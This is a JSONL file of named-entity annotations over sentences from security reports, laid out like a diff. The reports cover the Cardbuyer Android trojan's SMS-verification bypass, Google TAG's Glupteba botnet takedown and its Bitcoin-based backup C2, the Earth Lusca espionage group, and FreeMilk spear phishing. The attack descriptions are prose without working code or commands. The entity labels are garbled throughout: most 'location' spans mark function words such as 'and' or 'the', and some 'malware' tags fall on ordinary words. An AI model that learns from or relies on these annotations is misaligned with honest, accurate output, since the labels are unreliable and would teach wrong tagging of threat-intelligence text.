-{"id":5627,"text":"With the correct numbers in hand, Cardbuyer then assembles a POST request containing the necessary details to initiate a purchase from the infected mobile phone.","entities":[{"id":17327,"label":"location","start_offset":28,"end_offset":32},{"id":17329,"label":"location","start_offset":61,"end_offset":65},{"id":17330,"label":"location","start_offset":121,"end_offset":129},{"id":17331,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":5628,"text":"This includes the phones mobile number, as well as the payment method, which is always to charge the user’s China Mobile account.","entities":[{"id":17332,"label":"location","start_offset":25,"end_offset":31}],"relations":[],"Comments":[]}
 {"id":5629,"text":"To avoid having this request rejected by the server, the Trojan alters its user-agent string to appear as Internet Explorer 9 running on Windows 7.","entities":[],"relations":[],"Comments":[]}
 {"id":5630,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":5631,"text":"Cardbuyer input user's phone number and choose to pay by SMS  At this point, Tianxiafu has not yet authenticated that the person making the purchase actually owns the phone in question.","entities":[{"id":17336,"label":"location","start_offset":36,"end_offset":39},{"id":17337,"label":"location","start_offset":70,"end_offset":75},{"id":17339,"label":"location","start_offset":122,"end_offset":128},{"id":17340,"label":"location","start_offset":140,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":5632,"text":"To do that, it generates a one-time-code and asks the user to send an SMS message containing it to a specific phone number.","entities":[{"id":17341,"label":"location","start_offset":27,"end_offset":30},{"id":17342,"label":"location","start_offset":31,"end_offset":35},{"id":17343,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":5633,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":5634,"text":"The payment platform asks user to send a one-time-code to a specific phone service number (Translation of message in the figure: “Information submitted successfully! Please use the phone number you submitted 139********” to send a command code 001942415 to 1065800886172, and follow the instructions shown in replied SMS message to confirm the payment”, the 139******** is the current victim user’s phone number)  To pass this hurdle, Cardbuyer uses a regular expression to parse the numbers out of the websites HTML and sends the message using Android’s built-in SMS API.","entities":[{"id":17345,"label":"location","start_offset":41,"end_offset":44},{"id":17346,"label":"location","start_offset":45,"end_offset":49},{"id":17347,"label":"location","start_offset":272,"end_offset":275},{"id":17349,"label":"location","start_offset":517,"end_offset":520}],"relations":[],"Comments":[]}
 {"id":5635,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":5636,"text":"Cardbuyer parses command code and phone number from web page  ","entities":[{"id":17352,"label":"location","start_offset":30,"end_offset":33},{"id":17353,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":5637,"text":"The complicated user verification procedure continues.","entities":[],"relations":[],"Comments":[]}
-{"id":5638,"text":"After receiving the command code, the vendor will send a SMS verification message to the user.","entities":[{"id":17354,"label":"location","start_offset":38,"end_offset":44},{"id":17355,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":5639,"text":"The user is required to follow instructions in described in this SMS’s content to finally confirm the purchase.","entities":[{"id":17356,"label":"location","start_offset":71,"end_offset":78},{"id":17357,"label":"location","start_offset":102,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":5640,"text":"To defeat the SMS based verification, Cardbuyer registers a BroadcastReceiver to receive all incoming SMS, and registers a ContentObserver to monitor any change of the SMS’s inbox.","entities":[{"id":17359,"label":"location","start_offset":107,"end_offset":110},{"id":17360,"label":"location","start_offset":142,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":5641,"text":"When a SMS arrives to the infected device, Cardbuyer will intercept and parse it.","entities":[{"id":17362,"label":"location","start_offset":53,"end_offset":57},{"id":17363,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":5642,"text":"With conditions, this SMS message may be uploaded to the attack through the C&C communication or deleted (Figure 7).  Figure 7.","entities":[{"id":17364,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":5643,"text":"SMS from targeted vendors will be intercepted and uploaded to Cardbuyer's C&C server  More interesting, the Cardbuyer is “intelligent” and capable of parsing SMS’s content from different vendors, and take actions in a more intelligent way than any existing Android Trojans found.","entities":[{"id":17367,"label":"location","start_offset":26,"end_offset":30},{"id":17368,"label":"location","start_offset":46,"end_offset":49},{"id":17371,"label":"location","start_offset":135,"end_offset":138},{"id":17372,"label":"location","start_offset":164,"end_offset":171},{"id":17373,"label":"location","start_offset":196,"end_offset":199},{"id":17374,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]}
 {"id":5644,"text":"In Figure 8, we show the patterns for different types of SMS contents.","entities":[],"relations":[],"Comments":[]}
-{"id":5645,"text":"For example, for any SMS related to the Perfect World, it will try to match its content with two pre-defined regular expressions (Figure 8), search for numbers in it by specified format, and sent SMS of some matched content to matched phone number (Figure 9).  Figure 8.","entities":[{"id":17376,"label":"location","start_offset":48,"end_offset":53},{"id":17377,"label":"location","start_offset":58,"end_offset":62},{"id":17378,"label":"location","start_offset":80,"end_offset":87},{"id":17380,"label":"location","start_offset":187,"end_offset":190},{"id":17381,"label":"location","start_offset":216,"end_offset":223}],"relations":[],"Comments":[]}
-{"id":5646,"text":"Matching SMS content with different format and extract information accordingly  Figure 9.","entities":[{"id":17384,"label":"location","start_offset":13,"end_offset":20},{"id":17385,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":5647,"text":"The Cardbuyer sends replied SMS to complete the payment verification procedure  At this point the Trojan has verified ownership of the phone and the service sends an SMS message to the device containing a code that can be redeemed for credit with vendors like Perfect World.","entities":[{"id":17388,"label":"location","start_offset":88,"end_offset":93},{"id":17389,"label":"location","start_offset":141,"end_offset":144},{"id":17390,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]}
 {"id":5648,"text":"From here the attacker can sell the code to someone else for cash, or redeem it directly.  While in the example here Cardbuyer targeted the Tianxiafu service, all of the services listed above are targets already pre-defined in its source code.","entities":[{"id":17392,"label":"location","start_offset":23,"end_offset":26},{"id":17393,"label":"location","start_offset":61,"end_offset":65},{"id":17396,"label":"location","start_offset":192,"end_offset":195},{"id":17397,"label":"attack-pattern","start_offset":231,"end_offset":237}],"relations":[],"Comments":[]}
 {"id":5649,"text":"Any service that uses SMS for authentication of information or proof that a user is authorizing a charge is vulnerable to Trojan attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":5650,"text":"Palo Alto Networks has already released malware signatures for the file, and more details on the sample are available in the ThreatVault.","entities":[{"id":17399,"label":"location","start_offset":73,"end_offset":76},{"id":17400,"label":"location","start_offset":97,"end_offset":103},{"id":17401,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
 {"id":5651,"text":"Join us Wednesday, April 30 at 3 p.m. EDT, for a new webinar, “Need to Defeat APTs?","entities":[{"id":17404,"label":"TIME","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":5652,"text":"Tony Sager Explains Where We’re At With Live Threat Detection Automation.”   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":17407,"label":"location","start_offset":139,"end_offset":142},{"id":17408,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":5653,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":17409,"label":"location","start_offset":8,"end_offset":12},{"id":17410,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":5654,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":5655,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":5656,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":17413,"label":"location","start_offset":119,"end_offset":122},{"id":17414,"label":"malware","start_offset":123,"end_offset":127},{"id":17415,"label":"location","start_offset":157,"end_offset":160},{"id":17416,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":5657,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":17419,"label":"location","start_offset":43,"end_offset":46},{"id":17420,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":5658,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":17421,"label":"tools","start_offset":48,"end_offset":54},{"id":17422,"label":"location","start_offset":55,"end_offset":58},{"id":17423,"label":"location","start_offset":59,"end_offset":67},{"id":17424,"label":"location","start_offset":84,"end_offset":87},{"id":17425,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":5659,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":17428,"label":"location","start_offset":37,"end_offset":43},{"id":17429,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":5660,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":17430,"label":"location","start_offset":16,"end_offset":22},{"id":17431,"label":"location","start_offset":23,"end_offset":27},{"id":17432,"label":"location","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":5661,"text":"However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.","entities":[{"id":17435,"label":"location","start_offset":35,"end_offset":38},{"id":17436,"label":"location","start_offset":39,"end_offset":45},{"id":17437,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":5662,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":17439,"label":"location","start_offset":44,"end_offset":47},{"id":17440,"label":"location","start_offset":57,"end_offset":61},{"id":17441,"label":"location","start_offset":105,"end_offset":108},{"id":17442,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":5663,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":17447,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":5664,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":17449,"label":"malware","start_offset":4,"end_offset":12},{"id":17450,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":5665,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":17451,"label":"location","start_offset":16,"end_offset":20},{"id":17453,"label":"malware","start_offset":70,"end_offset":78},{"id":17454,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":5666,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":17455,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":5667,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.","entities":[{"id":17456,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":5668,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":17458,"label":"location","start_offset":73,"end_offset":83},{"id":17459,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":5669,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":17460,"label":"location","start_offset":129,"end_offset":132},{"id":17461,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
 {"id":5670,"text":"This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":17466,"label":"malware","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":5671,"text":"We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":17474,"label":"location","start_offset":106,"end_offset":111},{"id":17475,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":5672,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":17480,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":5673,"text":"In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.","entities":[{"id":17482,"label":"location","start_offset":80,"end_offset":83},{"id":17485,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":5674,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":17486,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":5675,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":17489,"label":"location","start_offset":36,"end_offset":39},{"id":17493,"label":"malware","start_offset":179,"end_offset":187},{"id":17494,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":5676,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":17501,"label":"location","start_offset":192,"end_offset":195},{"id":17502,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":5677,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.","entities":[{"id":17503,"label":"location","start_offset":20,"end_offset":23},{"id":17504,"label":"location","start_offset":39,"end_offset":43},{"id":17506,"label":"location","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":5678,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[{"id":17507,"label":"location","start_offset":12,"end_offset":15},{"id":17508,"label":"location","start_offset":94,"end_offset":97},{"id":17509,"label":"location","start_offset":113,"end_offset":120},{"id":17510,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":5679,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[],"relations":[],"Comments":[]}
-{"id":5680,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:  The following 32 byte AES keys for decryption are hard coded in the binaries:  The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[{"id":17511,"label":"location","start_offset":75,"end_offset":78},{"id":17513,"label":"location","start_offset":231,"end_offset":234},{"id":17514,"label":"location","start_offset":235,"end_offset":239},{"id":17515,"label":"location","start_offset":308,"end_offset":311},{"id":17516,"label":"location","start_offset":371,"end_offset":374}],"relations":[],"Comments":[]}
-{"id":5681,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[{"id":17517,"label":"location","start_offset":94,"end_offset":100},{"id":17518,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":5682,"text":"Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":17519,"label":"malware","start_offset":16,"end_offset":24},{"id":17520,"label":"location","start_offset":44,"end_offset":47},{"id":17522,"label":"location","start_offset":127,"end_offset":130},{"id":17523,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":5683,"text":"Recent domains used for command and control:  Recent sha256 hashes of malware samples:","entities":[{"id":17524,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":5684,"text":"Since mid-2021, we have been investigating a rather elusive threat actor called Earth Lusca that targets organizations globally via a campaign that uses traditional social engineering techniques such as spear phishing and watering holes.","entities":[{"id":17527,"label":"location","start_offset":134,"end_offset":142},{"id":17528,"label":"attack-pattern","start_offset":203,"end_offset":217},{"id":17529,"label":"location","start_offset":218,"end_offset":221}],"relations":[],"Comments":[]}
-{"id":5685,"text":"The group’s primary motivation seems to be cyberespionage: the list of its victims includes high value targets such as government and educational institutions, religious movements, pro-democracy and human rights organizations in Hong Kong, Covid-19 research organizations, and the media, among others.","entities":[{"id":17530,"label":"location","start_offset":63,"end_offset":67},{"id":17531,"label":"location","start_offset":130,"end_offset":133},{"id":17532,"label":"location","start_offset":195,"end_offset":198},{"id":17534,"label":"location","start_offset":273,"end_offset":276},{"id":17535,"label":"location","start_offset":281,"end_offset":286}],"relations":[],"Comments":[]}
-{"id":5686,"text":"However, the threat actor also seems to be financially motivated, as it also took aim at gambling and cryptocurrency companies.","entities":[{"id":17536,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":5687,"text":" Previous research into the group’s activities attributed it to other threat actors such as the Winnti group due to the use of malware such as Winnti, but despite some similarities, we consider Earth Lusca a separate threat actor (we do have evidence, however, that the group is part of the “Winnti cluster,” which is comprised of different groups with the same origin country and share aspects of their TTPs).","entities":[{"id":17540,"label":"malware","start_offset":292,"end_offset":298},{"id":17541,"label":"location","start_offset":357,"end_offset":361},{"id":17542,"label":"location","start_offset":377,"end_offset":380}],"relations":[],"Comments":[]}
-{"id":5688,"text":"The technical brief provides an in-depth look at Earth Lusca’s activities, the tools it employs in attacks, and the infrastructure it uses.","entities":[{"id":17544,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":5689,"text":"Infrastructure and operating model Earth Lusca’s infrastructure can essentially be grouped into two “clusters.”","entities":[{"id":17545,"label":"location","start_offset":15,"end_offset":18},{"id":17546,"label":"location","start_offset":29,"end_offset":34},{"id":17548,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":5690,"text":"The first cluster is built using virtual private servers (VPS), rented from a service provider, that are used for the group’s watering hole and spear phishing operations, in addition to acting as a command-and-control (C&C) server for malware.","entities":[{"id":17551,"label":"location","start_offset":101,"end_offset":104},{"id":17552,"label":"location","start_offset":135,"end_offset":139},{"id":17553,"label":"location","start_offset":140,"end_offset":143},{"id":17554,"label":"attack-pattern","start_offset":144,"end_offset":158},{"id":17555,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
 {"id":5691,"text":"The second cluster is made up of compromised servers running old, open-source versions of Oracle GlassFish Server.","entities":[{"id":17557,"label":"location","start_offset":22,"end_offset":26},{"id":17558,"label":"attack-pattern","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":5692,"text":"Interestingly, this second cluster performs a different role in an Earth Lusca attack — it acts as a scanning tool that searches for vulnerabilities in public-facing servers and builds traffic tunnels within the target’s network.","entities":[{"id":17563,"label":"location","start_offset":110,"end_offset":114},{"id":17564,"label":"location","start_offset":152,"end_offset":158},{"id":17565,"label":"location","start_offset":174,"end_offset":177},{"id":17566,"label":"location","start_offset":212,"end_offset":218}],"relations":[],"Comments":[]}
-{"id":5693,"text":"Like the first cluster, it also serves as a C&C server, this time for Cobalt Strike.","entities":[{"id":17568,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":5694,"text":"It’s possible that the group used portions of its infrastructure (particularly the scanning aspects) for diversion in order to trick security staff into focusing on the wrong parts of the network.","entities":[{"id":17570,"label":"location","start_offset":133,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":5695,"text":"     Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":5696,"text":"An overview of Earth Lusca’s infrastructure      Social Engineering and Vulnerability Exploitation techniques","entities":[{"id":17572,"label":"threat-actor","start_offset":15,"end_offset":26},{"id":17573,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":5697,"text":"The group has three primary attack vectors, two of which involve social engineering.","entities":[],"relations":[],"Comments":[]}
 {"id":5698,"text":"The social engineering techniques can be broken down into spear phishing emails and watering hole websites.","entities":[{"id":17576,"label":"location","start_offset":34,"end_offset":37},{"id":17577,"label":"attack-pattern","start_offset":58,"end_offset":72},{"id":17578,"label":"location","start_offset":80,"end_offset":83},{"id":17579,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":5699,"text":"Our telemetry data shows Earth Lusca sending spear phishing emails containing malicious links to one of their targets — a media company.","entities":[{"id":17581,"label":"attack-pattern","start_offset":45,"end_offset":59},{"id":17583,"label":"location","start_offset":122,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":5700,"text":"These links contain files that are disguised either as documents that would be of interest to the potential target, or as opinion forms allegedly coming from another media organization.","entities":[{"id":17584,"label":"location","start_offset":31,"end_offset":34},{"id":17585,"label":"location","start_offset":108,"end_offset":114},{"id":17586,"label":"location","start_offset":166,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":5701,"text":"The user eventually downloads an archive file containing either a malicious LNK file or an executable — eventually leading to a Cobalt Strike loader.","entities":[],"relations":[],"Comments":[]}
 {"id":5702,"text":"In addition to spear phishing emails, Earth Lusca also made use of watering hole websites — they either compromised websites of their targets or set up fake web pages copied from legitimate websites and then injected malicious JavaScript code inside them.","entities":[{"id":17588,"label":"attack-pattern","start_offset":15,"end_offset":29},{"id":17590,"label":"location","start_offset":55,"end_offset":59},{"id":17591,"label":"location","start_offset":76,"end_offset":80},{"id":17592,"label":"location","start_offset":199,"end_offset":202},{"id":17593,"label":"location","start_offset":250,"end_offset":254}],"relations":[],"Comments":[]}
-{"id":5703,"text":"These links to these websites are then sent to their victims (although we were not able definitively pinpoint how this was done).","entities":[{"id":17594,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":5704,"text":"In one incident, the group injected a malicious script into the compromised HR system of a target organization.","entities":[{"id":17596,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":5705,"text":"This script was designed to show a social engineering message — typically a Flash update popup or a DNS error (note that Adobe discontinued Flash Player at the end of December 2020) that then instructed the visitor to download a malicious file that turned out to be a Cobalt Strike loader.","entities":[],"relations":[],"Comments":[]}
 {"id":5706,"text":"     Figure 2. Fake installation pop-up     The third attack vector used by Earth Lusca is the exploitation of vulnerabilities that exist in the public-facing applications — such as Microsoft Exchange ProxyShell and Oracle GlassFish — of its targets.","entities":[{"id":17601,"label":"location","start_offset":33,"end_offset":36},{"id":17603,"label":"tools","start_offset":61,"end_offset":67},{"id":17604,"label":"threat-actor","start_offset":76,"end_offset":87},{"id":17605,"label":"location","start_offset":145,"end_offset":151},{"id":17607,"label":"location","start_offset":192,"end_offset":200},{"id":17609,"label":"location","start_offset":212,"end_offset":215}],"relations":[],"Comments":[]}
 {"id":5707,"text":"Once these are accomplished, Earth Lusca is free to perform its post-exploitation routines that include installation of tools such as Cobalt Strike and Acunetix (we discuss the post-exploitation routines in detail in the technical brief).","entities":[{"id":17612,"label":"location","start_offset":11,"end_offset":14},{"id":17613,"label":"threat-actor","start_offset":29,"end_offset":40},{"id":17614,"label":"location","start_offset":64,"end_offset":68},{"id":17616,"label":"location","start_offset":148,"end_offset":151},{"id":17618,"label":"location","start_offset":177,"end_offset":181}],"relations":[],"Comments":[]}
 {"id":5708,"text":"Malware used by Earth Lusca Earth Lusca employs several malware and other hacking tools in its arsenal.","entities":[{"id":17620,"label":"threat-actor","start_offset":28,"end_offset":39},{"id":17621,"label":"location","start_offset":64,"end_offset":67},{"id":17622,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":5709,"text":"A common theme we’ve seen in its attack vectors is the use of CobaltStrike loaders — and indeed, Cobalt Strike is one of the group’s preferred tools due to its wide range of post-exploitation capabilities.","entities":[{"id":17624,"label":"location","start_offset":85,"end_offset":88},{"id":17626,"label":"location","start_offset":114,"end_offset":117},{"id":17627,"label":"location","start_offset":165,"end_offset":170},{"id":17628,"label":"location","start_offset":174,"end_offset":178}],"relations":[],"Comments":[]}
-{"id":5710,"text":"In this case, the Cobalt Strike shellcode that is dropped into the target system is encoded via XOR along with a corresponding key.","entities":[{"id":17629,"label":"location","start_offset":8,"end_offset":12},{"id":17631,"label":"location","start_offset":67,"end_offset":73},{"id":17632,"label":"location","start_offset":100,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":5711,"text":"In addition to Cobalt Strike, Earth Lusca also uses malware such as Doraemon, a backdoor named after Japanese manga that has two C&C settings: a primary one for one for IP or DNS, and a public website URL containing encrypted or clear text C&C IP addresses that is used for persistence.","entities":[{"id":17637,"label":"location","start_offset":110,"end_offset":115},{"id":17639,"label":"location","start_offset":153,"end_offset":156},{"id":17641,"label":"location","start_offset":180,"end_offset":183},{"id":17642,"label":"location","start_offset":186,"end_offset":192},{"id":17643,"label":"location","start_offset":229,"end_offset":234}],"relations":[],"Comments":[]}
-{"id":5712,"text":"The group employs well-known malware such as ShadowPad and Winnti, as well as other tools such as cryptocurrency miners as part of its operations.","entities":[{"id":17645,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":5713,"text":"A more comprehensive list of these malware and tools are found in the technical brief.","entities":[{"id":17647,"label":"location","start_offset":21,"end_offset":25},{"id":17648,"label":"location","start_offset":43,"end_offset":46},{"id":17649,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":5714,"text":"Security best practices can help defend against Earth Lusca attacks Evidence points to Earth Lusca being a highly-skilled and dangerous threat actor mainly motivated by cyberespionage and financial gain.","entities":[{"id":17650,"label":"location","start_offset":0,"end_offset":8},{"id":17651,"label":"location","start_offset":9,"end_offset":13},{"id":17652,"label":"location","start_offset":24,"end_offset":27},{"id":17654,"label":"location","start_offset":77,"end_offset":83},{"id":17656,"label":"location","start_offset":122,"end_offset":125},{"id":17657,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":5715,"text":"However, the group still primarily relies on tried-and-true techniques to entrap a target.","entities":[{"id":17658,"label":"location","start_offset":51,"end_offset":54},{"id":17659,"label":"location","start_offset":55,"end_offset":59},{"id":17660,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":5716,"text":"While this has its advantages (the techniques have already proven to be effective), it also means that security best practices, such as avoiding clicking on suspicious email\/website links and updating important public-facing applications, can minimize the impact — or even stop — an Earth Lusca attack.","entities":[{"id":17661,"label":"location","start_offset":92,"end_offset":97},{"id":17662,"label":"location","start_offset":103,"end_offset":111},{"id":17663,"label":"location","start_offset":112,"end_offset":116},{"id":17664,"label":"location","start_offset":188,"end_offset":191},{"id":17665,"label":"location","start_offset":211,"end_offset":217},{"id":17666,"label":"location","start_offset":239,"end_offset":242},{"id":17667,"label":"location","start_offset":256,"end_offset":262},{"id":17668,"label":"location","start_offset":273,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":5717,"text":"Read our technical brief to learn more about Earth Lusca and its activities.","entities":[{"id":17671,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":5718,"text":"     The indicators of compromise for Earth Lusca can be found in this document.","entities":[{"id":17673,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":5719,"text":"    Tags  APT & Targeted Attacks | Malware | Cyber Crime | Research | Articles, News, Reports","entities":[{"id":17674,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":5720,"text":"This post is also available in:      日本語 (Japanese)  Unit 42 released details about a new spear phishing campaign called FreeMilk that uses a relatively new attack technique that can be highly effective.","entities":[{"id":17675,"label":"location","start_offset":5,"end_offset":9},{"id":17677,"label":"identity","start_offset":53,"end_offset":60},{"id":17678,"label":"attack-pattern","start_offset":90,"end_offset":104},{"id":17679,"label":"location","start_offset":105,"end_offset":113},{"id":17681,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":5721,"text":"This is the kind of technique that is likely to be aimed at high value targets.","entities":[{"id":17682,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":5722,"text":"Targets of these attacks are likely to be individuals with access to valuable or sensitive information such as members on a Board of Directors, C-level executives, military and political personnel, or those with compromising information such as journalists or activists.","entities":[{"id":17683,"label":"location","start_offset":25,"end_offset":28},{"id":17684,"label":"location","start_offset":29,"end_offset":35},{"id":17686,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":5723,"text":"Individuals close to those previously mentioned could also be used as part of the attack campaign such as an executive assistant to a CEO or even friends or family.","entities":[{"id":17687,"label":"location","start_offset":89,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":5724,"text":" Phishing attacks are broad, leveraging email messages crafted around common, generalized topics in order to trick recipients into opening an email message and its attachments.","entities":[{"id":17688,"label":"attack-pattern","start_offset":1,"end_offset":9},{"id":17689,"label":"location","start_offset":18,"end_offset":21},{"id":17690,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":5725,"text":"Attackers will cast a wide net, with no regard to who the victims are, hoping that a decent percentage of attacks are successful.","entities":[{"id":17691,"label":"location","start_offset":10,"end_offset":14},{"id":17692,"label":"identity","start_offset":15,"end_offset":19},{"id":17693,"label":"tools","start_offset":27,"end_offset":30},{"id":17694,"label":"location","start_offset":66,"end_offset":69},{"id":17695,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
